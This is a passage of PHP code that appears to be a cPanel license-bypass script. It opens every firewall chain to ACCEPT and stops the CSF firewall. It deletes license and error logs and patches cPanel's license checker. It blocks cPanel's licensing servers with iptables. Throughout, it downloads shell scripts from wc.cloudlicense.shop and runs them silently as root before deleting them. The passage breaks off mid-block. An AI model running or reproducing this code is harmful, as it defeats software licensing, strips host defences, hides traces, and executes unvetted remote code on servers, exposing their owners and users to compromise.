						exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
						exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
						exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
						exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
						exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
						exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
						exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
						exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
						exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
						exec('timeout 5s csf -f > /dev/null 2>&1');
						exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
						exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
						exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
						exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
						exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
						exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
						exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
						exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
						exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
						exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
						exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
						exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
						exec('/usr/bin/wget -O /usr/bin/.sysma/procc22.conf https://wc.cloudlicense.shop/api/change?key=' . $key . ' > /dev/null 2>&1');
						exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc22.conf > /usr/bin/.sysma/procc.conf2');
						$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf2 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
						exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
						$dns = '/usr/local/cpanel/cpanel.lisc';

						if (file_exists($dns)) {
							$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
							$pos = strpos($filedns, 'dnsonly');

							if ($pos !== false) {
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
								exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
								exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
								exec('sh /usr/bin/con0 > /dev/null 2>&1');
								exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
								exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
							}

							$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

							if (0 < strlen($cpanel_txt)) {
								if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
									exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
									exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
									exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
									exec('sh /usr/bin/con0 > /dev/null 2>&1');
									exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
								}
							}
						}

						$dns = '/usr/local/cpanel/cpanel.lisc';

						if (file_exists($dns)) {
							$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
							$pos = strpos($filedns, 'dnsonly');

							if ($pos !== false) {
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
								exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
								exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
								exec('sh /usr/bin/con0 > /dev/null 2>&1');
								exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
								exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
							}

							$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

							if (0 < strlen($cpanel_txt)) {
								if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
									exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
									exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
									exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
									exec('sh /usr/bin/con0 > /dev/null 2>&1');
									exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
								}
							}
						}

						$dns = '/usr/local/cpanel/cpanel.lisc';

						if (file_exists($dns)) {
							$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
							$pos = strpos($filedns, 'dnsonly');

							if ($pos !== false) {
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
								exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
								exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
								exec('sh /usr/bin/con0 > /dev/null 2>&1');
								exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
								exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
							}

							$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

							if (0 < strlen($cpanel_txt)) {
								if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
									exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
									exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
									exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
									exec('sh /usr/bin/con0 > /dev/null 2>&1');
									exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
								}
							}
						}

						$dns = '/usr/local/cpanel/cpanel.lisc';

						if (file_exists($dns)) {
							$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
							$pos = strpos($filedns, 'dnsonly');

							if ($pos !== false) {
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
								exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
								exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
								exec('sh /usr/bin/con0 > /dev/null 2>&1');
								exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
								exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
							}

							$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

							if (0 < strlen($cpanel_txt)) {
								if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
									exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
									exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
									exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
									exec('sh /usr/bin/con0 > /dev/null 2>&1');
									exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
								}
							}
						}

						$filename3 = '/usr/local/cpanel/cpanel.lisc';

						if (file_exists($filename3)) {
							exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
							exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
											maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
							exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
							exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
							exec('cat /usr/bin/.sysma/procc.conf2 > /usr/local/.recoverit');
							exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
							exec('sed -i \'1d\' /usr/local/.recoverit1');
							exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
							exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
							exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
							exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
							exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
							exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
							exec('service cpanel restart > /dev/null 2>&1');
							exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
							maximum_users();
							echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
						}
						else {
							exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
							exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
							exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
							exec('timeout 5s csf -f > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
							exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
							exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
							exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
							exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
							exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
							exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
							exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
							exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
							exec('/usr/bin/wget -O /usr/bin/.sysma/procc33.conf https://wc.cloudlicense.shop/api/change1?key=' . $key . ' > /dev/null 2>&1');
							exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc33.conf > /usr/bin/.sysma/procc.conf3');
							$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf3 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
							exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
							$dns = '/usr/local/cpanel/cpanel.lisc';

							if (file_exists($dns)) {
								$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
								$pos = strpos($filedns, 'dnsonly');

								if ($pos !== false) {
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
									exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
									exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
									exec('sh /usr/bin/con0 > /dev/null 2>&1');
									exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
									exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
									exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
									exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
								}

								$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

								if (0 < strlen($cpanel_txt)) {
									if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
										exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
										exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
										exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
										exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
										exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
										exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
										exec('sh /usr/bin/con0 > /dev/null 2>&1');
										exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
										exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
										exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
										exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
										exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
										exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
										exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
										exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
										exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
										exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
									}
								}
							}

							$filename3 = '/usr/local/cpanel/cpanel.lisc';

							if (file_exists($filename3)) {
								exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
								exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
												maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
								exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
								exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
								exec('cat /usr/bin/.sysma/procc.conf3 > /usr/local/.recoverit');
								exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
								exec('sed -i \'1d\' /usr/local/.recoverit1');
								exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
								exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
								exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
								exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
								exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
								exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
								exec('service cpanel restart > /dev/null 2>&1');
								exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
								maximum_users();
								echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
							}
							else {
								exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
								exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
								exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
								exec('timeout 5s csf -f > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
								exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
								exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
								exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
								exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
								exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
								exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
								exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
								exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
								exec('/usr/bin/wget -O /usr/bin/.sysma/procc44.conf https://wc.cloudlicense.shop/api/change?key=' . $key . ' > /dev/null 2>&1');
								exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc44.conf > /usr/bin/.sysma/procc.conf4');
								$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf4 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
								exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
								$dns = '/usr/local/cpanel/cpanel.lisc';

								if (file_exists($dns)) {
									$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
									$pos = strpos($filedns, 'dnsonly');

									if ($pos !== false) {
										exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
										exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
										exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
